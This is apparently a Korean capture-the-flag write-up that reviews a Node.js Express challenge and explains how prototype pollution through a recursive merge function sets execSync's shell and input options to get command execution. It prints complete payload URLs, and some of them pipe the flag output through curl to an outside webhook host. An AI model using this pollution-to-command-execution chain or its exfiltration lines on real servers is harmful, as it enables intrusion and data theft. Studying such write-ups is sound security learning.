#PrototypePollution #node.js #web #ppower
대회때 못푼 문제 복기입니다. 대회 중 제일 못풀어서 아쉬운 문제
문제파일은 아래와 같다.
// index.js
#!/usr/bin/env node
const express = require("express");
const childProcess = require("child_process");
const app = express();
const saved = Object.create(null);
const config = {};
const merge = function (t, src) {
for (var v of Object.getOwnPropertyNames(src)) {
if (typeof src[v] === "object") {
if (!t[v]) t[v] = {};
merge(t[v], src[v]);
} else {
t[v] = src[v];
}
}
console.log(Object.__proto__);
return t;
};
const sendFlag = (res) => {
try {
// TODO: Fix the typo
let flagggggggggggg = childProcess.execSync("/readflag", {
env: Object.create(null),
cwd: "/",
timeout: 1000,
});
return res.send(flaggggggggggg);
} catch (e) {
console.log(e);
}
res.send("lol");
};
const recover = (_) => {
for (let v of Object.getOwnPropertyNames(Object.prototype)) {
if (v in saved) {
Object.prototype[v] = saved[v];
} else {
delete Object.prototype[v];
}
}
};
app.get("/", (req, res) => res.sendFile(`${process.cwd()}/index.html`));
app.get("/answer", (req, res) => {
let r = merge({}, req.query);
res.type("text/plain");
if (r.answer == "It's-none-of-your-business") {
if (!config.flagForEveryone) {
res.send(":(").end();
} else {
sendFlag(res);
}
} else {
res.send("oh ok").end();
}
recover();
});
(function () {
for (let v of Object.getOwnPropertyNames(Object.prototype)) {
saved[v] = Object.prototype[v];
}
Object.freeze(saved);
if (process.env.flagForEveryone) {
config.flagForEveryone = true;
}
})();
app.listen(8000);
우선 같이 던져준 도커를 구축해보면 알겠지만, /realreadflag flagflagflag
를 트리거 시키는 것이 최종 목표이다.
try {
// TODO: Fix the typo
let flagggggggggggg = childProcess.execSync("/readflag", {
env: Object.create(null),
cwd: "/",
timeout: 1000,
});
return res.send(flaggggggggggg);
그리고 flagggggggggggg
변수와 send 하는 변수의 철자도 다르다.
고로 코드에서 위와 같은 부분은 페이크이고, 코드에서 같이 던져준 merge 함수를 이용해서 프로토타입 오염을 일으키고, 그것을 통해 /realreadflag flagflagflag
를 트리거 시키는 것이 답이라고 대회 당시에 판단하였다.
그래서 http://localhost:8080/answer?answer=It's-none-of-your-business&constructor[flagForEveryone]=1
까지는 접근을 했었는데, 당최 어느 부분에서 쉘을 따서 플래그를 읽을 수 있을지 감을 못잡았다.
그리고 대회 종료 직후, 출제자분과 풀이자분들의 payload 를 보니 이해가 되었다.
http://175.123.252.136:8080/answer?answer=It%27s-none-of-your-business&f1[constructor][prototype][flagForEveryone]=ok&f3[constructor][prototype][shell]=/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin/node-gyp&f4[constructor][prototype][input]=require(%27child_process%27).execSync(%27curl%20웹훅주소?a=%60/realreadflag%20flagflagflag%20%7C%20base64%60%27)
payload 의 요점은 바로 공식 문서에 있다.
(진짜 공식 docs 의 중요성을 다시한번 느낀다...)
execSync
의 속성 중, shell 과 input 속성이 요점이다!
shell : childProcess 가 실행되는 쉘 환경을 지정
input : childProcess 에 input 으로 전달해주는 인자. (어째서인지 shell 에 지정된 바이너리에도 전달이 된다)
let flagggggggggggg = childProcess.execSync("/readflag", {
env: Object.create(null),
cwd: "/",
timeout: 1000,
});
다시 여기를 보면 childProcess 의 execSync
함수를 사용한다.
{
env: Object.create(null),
cwd: "/",
timeout: 1000,
}
execSync 의 options 인자는 위와 같이 object 타입이고, merge
함수를 통해 object 의 __proto__
를 오염시킬 수 있다.
그러면 이 때, 프로토타입 오염을 이용해서 {}.shell
과 {}.input
이 형성되게끔 만들어주면 문제소스에서 사용되는 execSync
에서 env, cwd, timeout 속성 외에도 shell, input 속성이 추가적으로 인식되게끔 조작할 수 있는 것이다.
이제 여기서 shell 을 기본 값인 /bin/sh 나 /bin/bash 말고도 cli 를 사용할 수 있는 python 이나 node 를 사용해도 먹힌다...!
풀이자 분들 중 한 분이 사용한 것은 /sbin/debugfs
라는 cli 를 사용할 수 있는 바이너리 였다. 그리고 여기에 curl 명령을 통해 내 웹서버로 패킷 하나만 날려주면 플래그를 받을 수 있는 원리였다.
/realreadflag flagflagflag
와 curl 까지 적용해준 완성된 payload 는 다음과 같다. 테스트용으로 드림핵 서버를 이용해보았다.
http://175.123.252.136:8080/answer?constructor[prototype][flagForEveryone][flagForEveryone]=1&constructor[prototype][shell]=/sbin/debugfs&constructor[prototype][stdio]=pipe&constructor[prototype][input]=!/realreadflag%20flagflagflag%20%7C%20curl%20-X%20POST%20--data-binary%20@-%20https://coxgnit.request.dreamhack.games&answer=It%27s-none-of-your-business
플래그가 완벽하게 오는 것을 볼 수 있다.